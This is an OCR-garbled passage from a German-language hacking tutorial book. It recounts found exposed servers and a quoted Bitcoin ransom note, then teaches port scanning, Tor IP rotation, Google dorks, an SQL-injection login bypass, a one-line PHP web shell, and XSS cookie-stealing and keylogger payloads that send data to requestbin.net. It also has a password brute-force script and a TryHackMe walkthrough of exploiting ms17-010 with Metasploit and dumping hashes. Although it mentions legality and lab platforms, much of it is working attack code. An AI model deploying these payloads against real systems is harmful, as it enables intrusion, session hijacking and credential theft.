einen Sorgerechtsstreit relevant waren. Gescannte Gerichtsun- 


terlagen und Kundendaten sind auch noch dabei. 
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Qı Ö 
J ort b ” er ? 
® [] Backups Name Type Size Date Modified | 
BB Document] 


syncfolderspro File 4KB 04/19/2019 4:00pm 
DS_Store File 4KB 04/19/2019 3:42pm 


Ü ARCI REGIONALE 
# ] IMMIGRATI 
= [J OMNIA OMNIA File 4KB 04/19/2019 4:04pm 
® [J VALENTINA 
® [J Movies 
® [J Music 1.greenworldsoft.syncfolderspr syncfolderspro File 0B 04/19/2019 4:00pm 
® [J Pictures 
® C] TimeMachine 


ods File 4KB 04/19/2019 4:02pm 


Folder 09/07/2019 12:01pm 


Archive 3.36 MB 09/18/2019 2:58pm 


Folder 09/20/2019 7:23pm 
ods File 27.92 KB 04/19/2019 4:02pm 


pe 
u IMMIGRATI Folder 09/07/2019 12:02pm 
Li 
_ 


_ Folder 09/07/2019 8:26pm 


Hier mache ich mir die Mühe und versuche den Betreiber an- 
onym zu kontaktieren. Seine E-Mailadresse, Telefonnummer 
und Anschrift habe ich bereits. Dafür musste ich mir eine weite- 
re E-Mailadresse anlegen, denn der Anwalt wird nicht gerade 
froh darüber sein, dass seine Daten die ganze Zeit offen im In- 
ternet liegen. Ich will nicht der Sündenbock werden. Als Kopie 
schicke ich die Mail in CC auch an den Provider. Vielleicht ist 
irgendjemand so gütig und nimmt die Daten aus dem Netz. 


Aber wie so oft, passierte nichts. Ich weiß nicht, ob die Mail- 
adresse noch aktuell ist oder ob die Mail überhaupt gelesen 
wurde. Der Provider interessiert sich auch nicht dafür. Abuse 
Mails hatte ich verschickt. 


Eine Zeit verging. Ich schrieb weiter am Buch und schaue zwi- 
schendurch wieder vorbei. Der Stand im Januar 2020. Jemand 
hat die Daten gelöscht und eine TXT Datei hinterlassen: Sie 
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hätten die Daten "verschlüsselt" und sie Bitcoins zahlen sollen, 
damit sie diese Daten wieder bekommen. 


In der Textdatei steht: 

YOUR STORAGE WAS UNPROTECTED. 

YOUR FILES ARE SAFE. THEY HAVE BEEN ENCRYPTED AND 
MOVED TO A SAFE LOCATION. IF YOU WANT THEM BACK 
PLEASE SEND 0.04 BITCOIN TO THIS BITCOIN WALLET: 
1JtzHwW1ZoViZingiMZovgn5efxdRN34X7 

YOU HAVE UNTIL THE 10th OF JANUARY 2020 TO MAKE THE 
PAYMENT OR YOUR FILES WILL BE AUTO-DELETED FROM OUR 
SERVER. 


YOUR UNIQUE ID IS: 2.226.157.199 


PLEASE EMAIL US YOUR ID AND PAYMENT CONFIRMATION 
TO: datarecovery@mail2government.com 


AFTER THE PAYMENT YOU WILL RECEIVE AN EMAIL WITH THE 
LINK TO DOWNLOAD ALL YOUR DECRYPTED FILES, OR IN- 
STRUCTIONS ON HOW TO DECRYPT YOUR DATA LOCALLY. 


II! Attention !!! 
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Do not try to recover your data using any third party software. 
It will cause permanent data loss! 


How to obtain Bitcoin: 
The easiest way to buy bitcoin is the LocalBitcoins site. 
https://localbitcoins.com/buy_bitcoins 


THANK YOU FOR YOUR COOPERATION. 


Ein paar Wochen später habe ich wieder auf den Server ge- 
schaut, der vermutlich irgendwo in einem Hinterzimmer vor 
sich hin läuft und nicht beachtet wird. Es wird immer lustiger. 
Dieser offene Storage entwickelt sich langsam zu einer Daily 
Soap. 


Name Type Size Date Modified 
Folder 02/15/2020 9:10pm 
Text File 858B 02/09/2020 11:47am 
ii ker has stolen your files! Folder 02/15/2020 9:10pm 


In den Ordnern befinden sich nun Kommentare in Unterord- 
nern. 


Ein Blick auf die Bitcoin Adresse zeigt keine Transaktionen. Es 
wurde keine eindeutige Zahlung von außen getätigt. Diese Bit- 
coin Wallets werden oft von den Erpressern mitbenutzt, deshalb 
ist nicht jede Zahlung auf dieser Wallet von einem Opfer. Sol- 
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che Zahlung sind oft eindeutig zu erkennen, wenn direkt von 
einem Bitcoin Market eingezahlt wurde (mit einer realen Wäh- 


rung). 


Ein weiterer schöner Fund: Die komplette Gebäudesteuerung 
offen im Internet und es ist kein Passwort zur Steuerung not- 
wendig. Gastlogin mit weitreichenden Rechten für die Anlage. 
Da ich so eine Gebäudemanagement nicht alle Tage vor der 
Nase habe, verstehe ich auch nur die Hälfte. Da steht jedenfalls, 
dass ich den Status für verschiedene Alarmpunkte von "off" auf 


höhere Alarmstufen hoch setzen könnte. 


ON BagniSpogl On 


IE 2] 12 Basisposi on 
> y’ 
. Il-milE, | 
SP _BagniSp: i 22.00 DesC 
| Al; | 
T_Bagı 1 DegC 


| IL ALL_RecB agni Off, 
CMD RecBagn! On 
pr 5 


ST_InvImmCucina Off 


den E N | ON Cucina On ALL_RecSpogl Off 
FRE — 
IR SP CB Sala 24.00 Desc“ 3] 
Sara 


Sur, Cucina 969.90 Des; f 3, CMD_RecSpogliatoi On ja) 
X > | 


N SP CB Cucina' 22.00 nalR 


N 7 wur T_Cucina 25.63 DegC 


\E | ler 
IN 7  |T_MndCueina 24.66 DegC Inn 
NN ey CMD_VIvCueina 0.00 Va 3 ::I 
I -—- TZ Cucina On ALL. CellaBT OS 
m 3 j 3 
TZ Sala On " ALL_CellaTN Off 


ON Generale On 
Sel_Est Off 


Ich lasse natürlich die Finger davon, aber andere Hacker/-innen 


sind eventuell nicht so gnädig und probieren es aus. 
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Ein weiterer Fund aus einer Whisky Fabrik hat auch für großen 
Unterhaltung gesorgt. Dort lässt sich nämlich eine Kamera 
steuern und jeder sieht genau diesen Ausschnitt. Eine Internet- 
suche nach "camera buffalotrace" bringt dich dahin. Eine kleine 
Internetsuche nach der URL bringt einige Ergebnisse. Die 
Adresse ist also nicht unbekannt. Aber ob die Produktionsmit- 
arbeiter wissen, dass sie bei der Arbeit gefilmt werden und das 
ganze Internet zuschauen kann? Ich weiß es nicht. 


Ich könnte endlos weitere Beispiele bringen. Einfahrten, Bau- 
stellen, oder Garagen mit Überwachungskameras, die offen im 
Internet zu finden sind. 


Python Portscanner 

Wir haben bisher aktiv nach Web Servern mit IPv4 Adresse ge- 
sucht. Wir können auch einen einfachen Portscanner dafür 
bauen. In Python lassen sich Datenpakete aller Art erzeugen. 
Wir programmieren eine Range von 1 bis 1337 und erstellen 
dafür einen Socket (= Kommunikationsendpunkt). Wir versu- 
chen uns mit einer Remote IP auf den Ports in der Range zu 
verbinden. Das Ergebnis können wir uns anzeigen lassen. 


import socket 


for port in range(1,1337): 
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 
result = sock.connect_ex((remoteServerIP, port)) 
if result == 


print "Port open: + str(port) 


sock.close() 
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https://github.com/Leetcore/wie-werde-ich-hacker/blob/mas- 
ter/scripts/portscanner.py 


Wenn wir z.B. aktive SQL Dienste scannen, könnten wir als 
nächsten Schritt versuchen eine Verbindung herzustellen. So ist 
es möglich schlecht gesicherte Datenbanken automatisch zu 
übernehmen. 


Darknet scannen 

Nachdem wir ein bisschen im Internet gescannt haben, schauen 
wir uns Tor an. Wir können mit dem Tor Proxy auch "anonyme" 
Requests abschicken. 


import requests 


def get_tor_session(): 
session = requests.session() 


# Tor browser uses the 9150 port as the default socks port 


session.proxies = { 
'http': 'socks5://127.0.0.1:9150', 
'https': 'socks5://127.0.0.1:9150' 


} 


return session 


session = get_tor_session() 


print(session.get( 'http://httpbin.org/ip').text) 


Das Darknet ist nur über das Anonymisierungstool Tor erreich- 
bar. Wenn Tor installiert ist, können wir auch im Darknet Web- 
seiten scannen und weiterverarbeiten. Es gibt im Darknet eine 
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Suchmaschine namens Torch. Erreichbar unter: http://xm- 
h57jrzrnw6insl.onion/. Des Weiteren hilft das "Hidden Wiki" als 
Einstieg. Allerdings sind diese Seiten unfassbar langsam und 
die meisten Webseiten im Wiki wollen etwas Illegales verkaufen 
bzw. behaupten es. 


Wenn Tor ordentlich installiert ist, kann mit einem Python Pa- 
ckage auch eine neue IP abgefragt werden. Das versetzt uns in 
die Lage mit Python Requests mit verschiedenen IPs abzusen- 
den, was interessiert wird, wenn es IP Beschränkungen bei un- 
serem Ziel gibt. 


Dazu muss in /etc/tor/torrc ein Passwort eingegeben werden. 


Wie das geht findet sich auf Stackoverflow: 
HashedControlPassword 16:160103B8D7BA7CFA605C9E99E5SBB515DIA- 
E71D33B3DO1ICEOE7747ADODC 


Grundsätzlich wird es so generiert: 
>>> tor --hash-password MyStr0n9P#D 


Danach in Python: 
from stem import Signal 


from stem.control import Controller 


def renew_tor_ip(): 
with Controller.from_port(port = 9050) as controller: 
controller.authenticate (password="MyStr0n9P#D") 
controller.signal(Signal.NEWNYM) 


Einen eigenen Crawler lässt ich damit in Python auch bauen. 
Dazu richten wir Tor als Proxy ein, speichern Header und Me- 
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tadaten und lesen Links auf weiterführende Webseiten, die wir 
danach auch scannen. 


from BeautifulSoup import BeautifulSoup 


soup = BeautifulSoup(response) 
for tag in soup.findAll('a', href=True): 


USW. 


Da allerdings die Webseiten so ewig laden, macht das nicht 
wirklich Spaß. und ich habe es aufgegeben. Wer es trotzdem 
machen möchte, es gibt auf Github einige Projekte von denen 
ich mir die besten Stücke zusammen kopieren und daraus 
"Frankensteins Darknet Crawler in Python" bauen würde. 


Leaks finden 

Wir erinnern uns, dass eine große Anzahl an geknackten Pass- 
wörter im Internet verfügbar sind. Es gibt einige große Leaks, 
die immer noch als Torrent verbreitet werden. 


Den ersten Leak, den ich in der Form mitbekam war der "Adobe 
Leak". Da Adobe die Passwörter nicht anständig geschützt ge- 
speichert hatte, konnten sie relativ zurück gerechnet werden. 


Es gibt eine schöne Statistik mit den bekanntesten Passwörtern 
aus diesem Leck. Der Klassiker 123456 wurde dort 1.911.938 
mal benutzt. Quelle: https://web.archive.org/web/ 
20170128093532/http://stricture-group.com/files/adobe- 
top100.txt. 
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Wir erinnern uns: Es ist strafbar die Zugangssicherung zu um- 
gehen oder es zu versuchen. 


Pastebin ist eine Webseite, auf der anonyme Texte gepostet 
werden können. Dort ist es schon vorgekommen, dass jemand 
einen Trojaner installiert hat, der deren Logins direkt auf Paste- 
bin hochlädt. Mit den entsprechenden Suchbegriffen wie 


" 


"password=" oder "password:" werden manchmal interessante 


Ergebnisse und natürlich viel Mist oder alte Daten sichtbar. 


Richtig nützlich sind nur die Listen für häufig genutzte Pass- 
wörter, E-Mailadressen und Nutzernamen. 


Webseiten hacken 

Es gibt viele Möglichkeiten Lücken oder eine falsche Konfigura- 
tion in Webservern zu finden. Eine der gefährlichen wie SQL 
Injektion habe ich bereits gezeigt (Database Assessment). Ich 
zeige bei Live-Hackings gerne aktuelle und echte Beispiele. Am 
schnellsten finde ich diese mit einer Suchmaschine und ein 
paar Tricks. 


Google Dorks 

Das Finden von verwundbaren oder fehlerhaften konfigurierten 
Webseiten, die von Google automatisch indexiert wurden. Mit 
einer Suchmaschine lassen sich relativ schnell möglicherweise 
verwundbare Strukturen finden. 
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Da Google auch verschiedene Parameter erlaubt, die die Suche 
speziell einschränken, können darüber Informationen gesam- 
melt werden. Wer übrigens nicht direkt Google nutzen möchte, 
kann die gleichen Parameter über startpage.com abschicken, 
die eine gewisse Anonymität erlauben. 


Damit suche ich nach Subdomains: 


site:.tldomain.de 


"Site!" beschränkt die Ergebnisse auf eine Domain. 


Wenn Sicherheitslücken bekannt geworden sind, lassen sie sich 
teilweise mit Suchmaschinen finden. Nehmen wir mal das Bei- 
spiel von einem Exploit, den ich gemeldet hatte: Die UN hatte 
ein eigenes Forum. Es lieft dort das Akiva Weboard. Akiva 
WebBoard 8.x - SQL Injection. Dort konnte mit dem Google 
Dork: "/Powered by WebBoard 8" entsprechende Webseiten mit 
dieser Software gefunden werden. Da die Softwareversion heu- 
te ziemlich alt ist, gibt es heute keine Ergebnisse mehr. Aber zu 
meinen Anfangszeiten (2012) konnte jeder diese Boards finden 
und das Administrator-Login umgehen mit folgender SQL Injec- 
tion: 


admin’-- 


Hochkomma beendet die SQL Abfrage und zweimal Minus 
kommentiert den Rest aus. Der Rest der Abfrage wird als inter- 
ner Kommentar betrachtet. Die Abfrage ist so gebaut, dass zu- 
erst der Username mit dem passenden Passwort abgefragt wird. 
Da wir aber hier nach dem Usernamen den Rest weg kommen- 
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tieren, wird überhaupt nicht mehr geprüft, ob das Passwort 
stimmt. 


Wir können uns also direkt als jeder Nutzer anmelden - auch 
als Administrator. 


Richtig übel wurde es dann, weil im Profil des Admins deren 
Passwort auch noch im Passwortfeld drin stand. Also schon ein 
ziemlicher Supergau. 


PHP Backdoor 

Da PHP auf vielen Webservern läuft, kann ein Angreifer den 
Server immer wieder kontrollieren, solange diese Hintertür für 
ihn bestehen bleibt. 


Kali Linux hat Weevely dabei, dass eine PHP Datei erstellt, die 
entsprechend auf den Web Server hochgeladen werden muss. 
Diese Backdoor sollte passwortgeschützt sein. Danach kann sich 
der Angreifer damit verbinden. "man weevely" erklärt eigentlich 
alles. 


Die einfachste Version einer PHP Backdoor ist das hier: 
<?php echo system($_GET["cmd"]); ?> 


Der Befehl hinter cmd wird als Webserver Nutzer ausgeführt 
und das Ergebnis auf der Webseite ausgeben. 


http://localhost/shell.php?cmd=whoami 
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Das Tool Weevely macht es allerdings deutlich bequemer, ver- 
steckt sich und ist passwortgeschützt. Dadurch kann die Hinter- 
tür nicht einfach von anderen Hackern mitbenutzt werden. Ge- 
schicktere Individuen schließen auch die Lücke, über die sie auf 
das System gekommen sind. 


Cross Site Scripting 

Diese Lücke beschreibt ein Problem, dass Web Formulare oder 
sonstige Eingaben auf der Webseite dargestellt werden, die 
nicht ausreichend gefiltert sind. Angreifer können dadurch ei- 
genes JavaScript auf der Webseite ausführen. Wenn ein Hacker 
nämlich JavaScript auf die Webseite bringen kann, kann er da- 
mit auch Cookies lesen oder einen Keylogger bauen. 


Damit ein Hacker/-in Cookies mitlesen kann und so eine Sessi- 
on übernimmt, braucht es einen Server, der die Daten emp- 
fängt. 


Hier die einfache Variante des Codes: 


><img sre="/favicon.ico" onload="this.src = 'http://request- 


bin.net/r/xxx?cookie='"+ document.cookie"/> 


RequestBin ist eine Webseite, die empfangene HTTP Requests 
anzeigt. Die URL ist nur 24 Stunden gültig. Das reicht zum Tes- 
ten aus. Wir laden ein Bild mit dem Image-Tag. Es sollte sich 
dabei um ein erreichbares Bild auf der Webseite handeln, denn 
nur dann wird das Event "onload" ausgeführt. Dieser Schnipsel 
ändert die Quelle des Bildes per JavaScript auf die URL von Re- 
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questBin. Als Parameter werden die aktuellen Cookies der Web- 
seite überliefert. Wenn nun dieser Code für einen eingeloggten 
Nutzer ausgeführt wird, können wir dessen Cookie mitlesen. 


Dadurch ist es möglich die Browser-Session auf der Webseite zu 
kopieren. Das Ganze nennt sich "Cookie-Stealing". Wenn sich 
ein Admin eingeloggt hat und unser Script-Schnipsel ausgeführt 
wird, erhalten wir sein Admin-Cookie. Wir können das kopierte 
Cookie in unseren Browser einfügen und sind danach auch als 
Admin eingeloggt. 


Eine andere Variante, weshalb Cross Site Scripting gefährlich 
ist: Es lässt sich damit eine Phishingseite über die echte Websei- 
te bauen, sodass sie anhand der URL nicht zu unterscheiden 
sind. 


Je nachdem auf welcher Unterseite sich die Lücke befindet, 
lässt sich auch ein Keylogger einbinden. 


Dieser würde so aussehen: 


document..addEventListener( 'keyup', function () { 
document .querySelectorAll( 'input').forEach (function (ele- 
ment) { 


if (element.value.length > 0) { 
document.body.insertAdjacentHTML('beforeend', '<img 
style="display:none;" src="http://requestbin.net/r/11fy9111? 
element='+ element.name +'&value='+ element.value +'"/>'); 
} 
Yi 
Yi 
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Mit diesem Schnipsel bekommen wir direkt nach dem Eintip- 
pen, einen Request mit gefüllten Formularfeldern. Hier würde 
also das Passwort direkt nach dem Eintippen übertragen wer- 
den. Selbst wenn es getippt und wieder gelöscht wurde. 


Wir setzen dazu einen Event-Listener auf "keyup", der direkt 
nach dem eintippen ausgelöst wird. Danach suchen wir alle 


! 


"Input"-Formularfelder heraus und wenn es einen "value" des 
Feldes gibt, hängen wir ein "img" Bild an die Seite an, was mit 
"display: none" nicht dargestellt, aber trotzdem geladen wurde. 
Dieser Request enthält die Daten aus dem Formularfeld. Je 
nachdem wie die Webseite und das Login-Formular aufgebaut 


ist, muss das Keylogger-Script darauf angepasst werden. 


Code auf Github: https://github.com/Leetcore/wie-werde-ich- 
hacker/blob/master/scripts/Keylogger.js 


Web Logins knacken 

Es gibt einige Tools, um Web Logins zu hacken. Es wäre denk- 
bar über eine SQL Injection oder durch das automatisierte Aus- 
probieren von Passwörtern. Der entscheidende Faktor dabei 
heißt Zeit. Das stumpfe Ausprobieren von Passwörtern muss 
lange dauern, damit es sich nicht lohnt. Deshalb ist es wichtig, 
dass Passwörter möglichst lang sind. Statt einem Passwort sollte 
sowieso an eine Passphrase (Geheimsatz) gedacht werden. Der 
ist leichter zu merken, aber für den Computer schwerer zu kna- 
cken. 
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Brute Force 

Web Logins können ganz unterschiedlich sein, deshalb gibt es 
nicht nur einen Weg, um ein Script auf alle Logins los zu lassen. 
In der Zeit als ich mich sehr intensiv mit Webseiten und Pass- 
wörtern auseinander gesetzt hatte, wurde ein Artikel mit dem 
Titel "Netzgemeinde ihr werdet den Kampf verlieren" veröffent- 
licht. Darin wurde in recht lustiger Schreibweise ein Kampf ge- 
gen die Netzgemeinde angezettelt. 


Ansgar Heveling schrieb darin: 
Wir dürfen die Gestaltung der Zukunft nicht denen überlassen, die 
sich als digitale Avantgarde verstehen und meinen, sie wüssten, 


was das Beste für die Masse Mensch vor den Maschinen sei. 


Als ironisches Mitglied einer Netzgemeinde fühlte ich mich da- 
von angesprochen und schaute mir seine Webseite an. Ich twit- 
terte die Webseite, worauf ein anderer Twitter-Nutzer die Log- 
indaten mit seinem Kommentar schickte: "Bin drin. Nutzerna- 
me=ansgar, Passwort=heveling". Erraten funktioniert auch 
immer noch gut. Nachdem das Passwort auf Twitter für jeden 
öffentlich einsehbar war, konnte sich jeder dort einloggen und 
eigene Artikel schreiben. 
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Wenn ein Passwort nicht einfach zu erraten ist, gibt es ver- 
schiedene Automatisierungsmöglichkeiten. Allerdings muss das 
Script auf das Loginformular angepasst werden. Nehmen wir 
ein Beispiel: Ein Webserver von "Heatmister Wifi Thermostat". 
Gefunden im Internet. 


Dort gibt es ein Web Login: 

<FORM name="dispFrm" method="post"> 
<INPUT NAME="Ignm" SIZE="17"> 
<INPUT NAME="lgpw" SIZE="17"> 
<input type="submit" Value="Login"> 

</f£orm> 


Der Login Prozess läuft folgendermaßen ab: 
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New Request Send Cancel 


POST http://xxx/index.htm 


Request Headers: 
|Host: x 
|User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:60.0) Geck0/20100101 Firefox/60.0 
|Accept: text/html,application/xhtmI+xml,application/xml;q=0.9,*/*;q=0.8 
|Accept-Language: en-US,en;q=0.5 

|Accept-Encoding: gzip, deflate 

|Referer: http://2.219.246.108/index.htm 

\Content-Type: application/x-www-form-urlencoded 

|Content-Length: 21 


Request Body: 
Ignm=username&lgpw=password 


Wie wir diesen HTTP Post Request nun absenden ist eigentlich 
egal. Es gibt keine besonderen Cookies oder Request-Token, der 
verhindern würden, dass wir in diesem Request das Passwort 
ständig ändern. Es gibt auch keinen Hinweis darauf, dass das 
Loginformular viele Loginversuche unterbinden würde und 
eventuell eine Wartezeit einbaut. 


(Auch sehr schön, dass ich oben die IP-Adresse entfernen woll- 
te, was ich bei Host getan habe, aber nicht bei Referrer. Das 
Thermostat war auch nur kurzzeitig erreichbar.) 


Das heißt, es steht uns nichts im Wege automatisiert Passwörter 
auszuprobieren. Um das zu testen, baue ich mir eine ähnliche 
Webseite mit PHP nach. 


<body> 
<?php 
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$username $_POST[ 'lgnm']; 
Spassword = $_POST['lgpw']; 
if ($username == 'admin' AND $password == 'pw123456') { 

echo 'Logged in'; 

} 

?> 

<form method="post"> 
Username: <input type="text" name="1lgnm"/><br/> 
Password: <input type="password" name="lgpw" /><br/> 
<input type="submit" value="Login"> 

</£orm> 


</body> 


Das Formular sendet Username und Password an sich selbst per 
POST-Methode und mit PHP prüfe ich auf ein festgelegtes 
Passwort. Falls dieses Passwort korrekt ist, wird "Logged in" 
ausgegeben. Jetzt schauen wir uns an, wie wir eine eigene 
Wortliste nutzen können, um diese Passwörter alle abzufragen. 
Dieses Beispiel ist in Python. 


Wir erstellen uns eine Wortliste mit verschiedenen Passwort- 
möglichkeiten. 


import os 
import sys 


import requests 


# open wordlist and save the content in words 
with open(os.path.join(sys.path[0], 'wordlist.txt'), 'r') asm 
yfile: 


words = myfile.read() 


# split wordlist at the end of the line to an array 


wordsarray = words.split('\n') 
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# do this for every word in the array 
for word in wordsarray: 
# send post requests with username admin and your word in th 
e list 
result = requests.post( 
'http://localhost:8888/php/login.php', data={'lgnm': 'ad- 
min', 'lgpw': word}) 
# check if http response code is 200 OK 
if result.status_code == 200: 
# search the content for the magic string 
# magic string = pattern that the password worked and you 
are logged in 
if str(result.content) .find( 'Logged in') >= 0: 
print('pw is: ' 
break 


+ word) 


Code auf Github: https://github.com/Leetcore/wie-werde-ich- 
hacker/blob/master/scripts/webloginwordlist.py 


Das Ergebnis, wenn ich das Script ausführe: 


>>> python3 webloginwordlist.py 
pw is: pw123456 


In diesem Fall ist der Code relativ simple. Allerdings gibt es 
Login Prozesse, die deutlich komplizierter funktionieren. Noch 
schwieriger wird es, wenn das Login nur funktioniert, wenn 
JavaScript aktiviert ist und die Token Generierung aus ver- 
schiedenen Quellen kommen. 


Aber dann verlagern wir einfach das komplette Script in den 
Browser. Wir installieren eine Firefox Erweiterung mit der wir 
eigenes JavaScript in der Webseite ausführen können: https:// 


addons.mozilla.org/en-US/firefox/addon/sudo-styler/ 
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Wir laden die Webseite auf reguläre Art und Weise im Browser, 
aber sorgen per JavaScript dafür, dass Benutzername und 
Passwort immer wieder ausgefüllt werden. 


Im Prinzip funktioniert es so: 
document .querySelector( 'input[name="username"]'); 


document .querySelector( 'input[type="password"]'); 


* Input-Elemente finden. 

* Liste mit Passwörtern erstellen. 

* Passwort in Passwortfeld eintragen lassen. 

* Als Status sollte das Passwort nochmal angezeigt werden. 

* Den aktuellen Index der Passwortliste im SessionStorage 
des Browsers speichern. 

* Solange die Wortliste noch nicht zu Ende ist, den Index er- 
höhen 

* Formular abschicken. 


Die Selektoren müssen auf die jeweilige Webseite angepasst 
werden, aber an meinem lokalen Beispiel funktioniert es sehr 
schön. 


Code auf Github: https://github.com/Leetcore/wie-werde-ich- 
hacker/blob/master/scripts/js-pw-checker.js 


Solche Angriffe laufen auch ständig gegen Wordpress Blogs. 
Wenn ein Passwort für einen Administrator gefunden wurde, 
lässt sich der Blog auch automatisiert übernehmen. Wer Admin- 
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Rechte hat, kann auch eine PHP-Backdoor hochladen, sodass 
Befehle auf dem Server ausgeführt werden können. Damit ich 
ein Ziel zum Testen habe, gibt es verwundbare Server bei 
Diensten wie "Hack In The Box". Dort könnt ihr euch ein Server 
mit Login und Passwort suchen und auch "hydra" aus Kali Linux 
legal ausprobieren. 


Hack The Planet 


Im weltweiten Netzwerk gibt es Gegenspieler. Kriminelle Ha- 
cker, die systematisch bedingt Vorteile haben. Stellen wir uns 
vor ein/-e Hacker/-in will in dein System. Es gibt drei kritische 
Faktoren: Fähigkeiten, Geld oder Timing. 


Fähigkeit: 

Wer selbst die Fähigkeiten besitzt um eine Lücke zu finden und 
auszunutzen ist im Vorteil. Dafür braucht es eine Menge Fach- 
wissen. Fachwissen, was durchaus im Internet zu finden ist. 


Geld: 

Wer nicht die Fähigkeiten besitzt, aber entsprechend das Geld 
hat, kann: Entweder Informationen kaufen, unzufriedene Mit- 
arbeiter/-innen bestechen oder Sicherheitslücken aufkaufen. 


Timing: 

Wer nicht die Fähigkeiten besitzt und auch nicht das Geld hat, 
hat immer noch Möglichkeiten. Dabei kommt es auf das richti- 
ge Timing an. Wenn Sicherheitslücken veröffentlicht werden 
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und es noch keinen Patch dafür gibt, wird es kritisch. Denn nun 
muss der Angreifer nur schneller als die IT-Abteilung sein. 
Schon haben sie einen Fuß in der Tür. Eine weitere Variation 
von Timing wäre z.B. regelmäßig alle Möglichkeiten abzuklop- 
fen und darauf zu warten bis ein Fehler passiert. 


In den Weiten des Internets gibt es verschiedene Möglichkeiten 
die Theorie in die Praxis umzusetzen. Da wir keine fremde Sys- 
teme hacken dürfen, bleibt uns die eigene Infrastruktur oder 
Dienste wie "Hack The Box" oder "Vuln Web". Dort werden un- 
sichere Webseiten oder Systeme verfügbar gemacht, um Si- 
cherheitslücken zu testen. Ich habe mir solche Testumgebungen 
bisher immer selbst eingerichtet, aber genau da liegt auch das 
Problem vergraben. Dann weiß ich vorher welche Lücken das 
System hat. Der Spaß an der ganzen Sache ist eigentlich die 
Lücken zu finden. 


Hack The Box 

Es gibt speziell unsichere Webseiten oder Server, zum Testen. Es 
kann z.B. "Metasploitable" in einer VM installiert werden. Ein 
Anbieter solcher Challenges ist z.B. auch "Try Hack Me". Dort 
gibt es verschiedene unsichere Maschinen, die per VPN zu er- 
reichen sind und an denen das Vorgehen ausprobiert werden 
kann. 


Ähnliche Spiele werden bei "Capture The Flag" Wettbewerben 
ausgetragen. Dort werden zwei Gruppen zusammengestellt. 
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Das "Blue Team" verteidigt die Server und das "Red Team" ver- 
sucht die Server zu übernehmen. 


Hier eine Liste von Diensten, die verwundbare Maschinen zum 
Testen zur Verfügung stellen: 


* https://www.hackthebox.eu 
* https://www.vulnhub.com/ 


"TryHackMe" ist auch für Einsteiger geeignet. Dort werden eini- 
ge Grundlagen in Form von Tutorials erklärt, z.B. wie du per 
OpenVPN überhaupt an deren verwundbaren Maschinen 
kommst. 


Dort nehme ich mir eine (kostenlose) Windows Maschine vor. 
Sie nennt sich "blue". Nachdem ich diese aktiviert habe, be- 
komme ich auch ihre IP-Adresse. Diese ist nur per VPN erreich- 
bar. Mir wird eine Liste von Aufgaben präsentiert, die erfüllt 
werden müssen z.B. offene Ports scannen. Es fängt also durch- 
aus für Einsteiger an. Dafür bekommst du schon Punkte dort. 


Die erste Frage ist: Wie viele Ports sind unter Port 1.000 offen? 
>>> nmap -sS 10.10.159.121 


Ein Blick in die nmap Manpage erklärt, was die Parameter tun. 
-sS ist die Scantechnik. Das Ergebnis wird eingetragen und ich 
bekomme Punkte für die korrekte Lösung. 
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Die nächste Frage: Welche bekannte Sicherheitslücken gibt es 


bei der Maschine? 
>>> nmap -sS --script vuln 10.10.159.121 


Das Ergebnis ist eine Remote Code Execution vulnerability in 
Microsoft SMBv1 servers (ms17-010). Den Verweis "ms17-010" 
gebe ich als Antwort an. 


Dort steht sogar, dass der nächste Schritt mit Metasploit getan 
werden sollte. Metasploit hat verschiedene Fxploit Module, die 
einheitlich zu nutzen sind. In einem neuen Shell-Tab starte ich 
"msfconsole". 


Nachdem es gestartet wurde, suche ich das Exploit für diese 
Lücke mit "search ms17-010". Das Ergebnis kann mit "run 3" 
ausgewählt werden. Der Befehl lädt den Index 3 in der Liste. 
Der Pfad zu diesem Exploit trage ich bei TryHackMe ein und 
bekomme virtuelle Punkte dafür. Juhu, Gamification. ;) 


Wenn das Exploit ausgewählt ist, kann es mit "show options" 
konfiguriert werden. Hier muss ich nur noch den Value eintra- 
gen. 


RHOSTS: 


The target host(s), range CIDR identifier, or hosts file with syntax 
file: <path>' 
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Bei RHOSTS reicht eine IP-Adresse, falls ein Massenscan ausge- 
führt wurde, kann dort eine Datei mit der Liste aller Ziele über- 


geben werden: 
>>> set RHOSTS 10.10.159.121 


Jetzt sind alle Optionen gesetzt und ich kann den Befehl "ex- 
ploit" eintippen und damit den Angriff starten. Am Ende landen 
wir in der CMD Windows Shell. Das Ziel ist es eine vollständige 
Metapreter Shell zu bekommen. 


Wir legen die aktuelle Shell in den Hintergrund mit STRG + Z 
und Listen uns die aktuellen Verbindungen auf mit "sessions". 
Wenn mehrere Maschinen gesteuert werden, können hier meh- 
rere Sessions aktiv sein. 


Das Upgrade für diese Session wird durchgeführt mit: 


>>> sessions -u 1 


Das hat allerdings nicht direkt funktioniert, deshalb suche ich 
nach "shell to metapreter" mit "search shell to". Wähle es aus 
mit "use 0". Schaue wie es konfiguriert ist mit "show options". 
Es fehlt die Info welche Session gewählt werden soll. Das lege 
ich fest mit "set SESSION 1". Da die andere Session noch geöff- 
net ist, muss ich den LPORT ändern. Nachdem es konfiguriert 
wurde, starte ich es mit "exploit" und bekomme eine Meterpre- 
ter Session. 


Mit "shell" komme ich aus der Meterpreter Session wieder ins 


Windows CMD. Kann dort mit "whoami" meine Benutzerrechte 
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überprüfen. Zurück im Meterpreter lasse ich mir die aktuellen 
Prozesse anzeigen mit "ps". Dort suche ich mir einen System- 
prozess heraus. Davon brauche ich die PID (= process id). Die 


Zahl ganz links. 
2756 640 svchost.exe x64 0 NT 
AUTHORITY\SYSTEM C:\windows\System32\svchost.exe 


Upgrade der Session mit "migrate 2756". Wenn das funktioniert 
hat, kann ich mit dem Befehl "hashdump" die Nutzer mit Pass- 
wörter bekommen. Das speichern wir uns weg und werden es 
cracken, damit wir den Plaintext davon bekommen. 


Mit "Crackstation" kann das wunderbar online erledigt werden, 
statt sich selbst mit Hashcat dran zu setzen. Das Passwort von 
Jon ist auf jeden Fall "algfna22". Wie auch immer kann ich jetzt 
die drei Flags auf dem System suchen gehen. 


Die erste Flagge war leicht. Im Home-Ordner. Die zweite Flagge 
war schwieriger zu finden, aber ich bin einfach für den User 
"Jon" in seine "Recent Files" rein und dort wurden alle Flaggen 
kürzlich geöffnet. Zack, alle Flags gefunden. 


Bei "TryHackMe" gibt es ähnliche Lernpfade mit Aufgaben, die 
Schritt für Schritt erklären, wie du mit Linux umgehst, Grund- 
lagen der Netzwerksicherheit und Scripting. Wer diese Skills 
beherrscht kann auf Bug Bounty Plattformen legal testen. 
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Buffer Overflow 

Ich habe lang überlegt, wie ich mit "Buffer Overflows" anfangen 
